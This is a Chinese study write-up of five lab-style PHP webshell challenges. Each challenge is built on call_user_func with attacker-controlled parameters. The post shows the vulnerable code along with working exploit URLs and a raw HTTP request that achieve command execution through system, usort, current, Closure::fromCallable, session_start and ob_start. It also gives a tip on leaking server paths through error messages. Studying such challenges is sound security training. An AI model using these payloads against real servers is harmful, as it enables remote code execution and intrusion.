记一次学习--webshell绕过

目录

第一题

第二题

第三题

第四题

第五题


第一题

php 复制代码
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

$a = call_user_func($action, ...$parameters);

上面题目,下面的call_user_func有一个可变长参数,这个可变长参数是parameters然后上面有一个if语句判断parameters是否有action,如果有就删除掉,然后再action参数传system,在parameters传你要执行的命令

php 复制代码
http://192.168.244.152:8080/webshell/1.php?action=system&1=pwd

或者利用usort

php 复制代码
http://192.168.244.152:8080/webshell/1.php?action=usort&0[0]=system&0[1]=pwd&1=call_user_func

第二题

php 复制代码
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

首先这里action和parameters传递current,然后post传参的时候a传数组systemb传你要执行的命令,这里就是action传递的current被call_user_func调用,然后返回了parameters的current,此时的parameters是一个数组,数组中的值正是current,然后action的current返回了parameters的current,现在就成了current((_POST['a'])($_POST['b'])),然后a传递的也是一个数组a中的值被取出来是system,然后执行了b里面的命令如下图

bash 复制代码
POST /webshell/2.php?action=current&a=current HTTP/1.1
Host: 192.168.244.152:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

a[]=system&b=pwd

另外一种解法

bash 复制代码
action=Closure::fromCallable&0=Closure&1=fromCallable

a=system&b=pwd

Closuer::fromCallable作用是将callable转化成闭包,然后上面传递的action传递Closuer::fromCallable将$parametersClosuer的fromCallable方法又执行了一手,然后又执行了system和你要执行的命令

第三题

php 复制代码
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters);


if(count(glob(__DIR__.'/*'))>3){
    readfile('flag.txt');
}

?>

这道题目要读取flag,且当前目录下的文件数目要大于三才可以读取,然后这里的思路就是创建文件。为啥不能像第一题一样直接传递。这个是因为第一题有一个可变长参数,然后将传递的值展开单个传递。但是第二题是直接将$parameters以一个数组的方式传递进去。所以第一题的方案不适合第三题。所以这里我们的思路就是创建文件。然后我们尝试输入一个错误参数,这里给到了物理路径。(这里就是入侵的一个小思路,有可能你以后遇到的代码,并且你可以控制一些页面元素。你就可以输入一个错误参数,让他报错就有可能将对方的物理路径爆出了)。

创建文件利用session_start。然后利用session_start的一个参数,修改session上传零食文件文件的目录,将上传的目录修改成刚刚爆出来的物理路径

然后我们写入

php 复制代码
http://192.168.244.152:8080/webshell/3/3.php?action=session_start&save_path=/var/www/html/webshell/3

但是上面写入一个文件也只写入了一个文件,还没有达到代码的要求。那么再写入一个怎么办呢。我们修改一个cookie就可以再生成一个了,flag成功拿到

第四题

php 复制代码
<?php
Class A{
    static function f(){
        system($_POST['a']);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);

这里就是要利用这个A这个类里卖弄的f方法,然后call_user_func可以直接调用类方法,然后这里使用下面参数

复制代码
action=call_user_func&0=A&1=f

如下call_user_func调用类的里面的方法的例子

抓包传参

第五题

php 复制代码
<?php
Class A{
    static function f(string $a){
        system($a);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);
echo $_POST['a'];

我们这里也要想办法利用A中的f,这个就要利用ob_start,ob_start调用例子,这里和call_user_func调用差不多。只不过把call_user_func改成了ob_start

使用这个样本没有成功,但是其他同学成功了,怀疑是版本的问题

相关推荐
BingoGo21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack21 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
西岸行者4 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
QQ5110082854 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php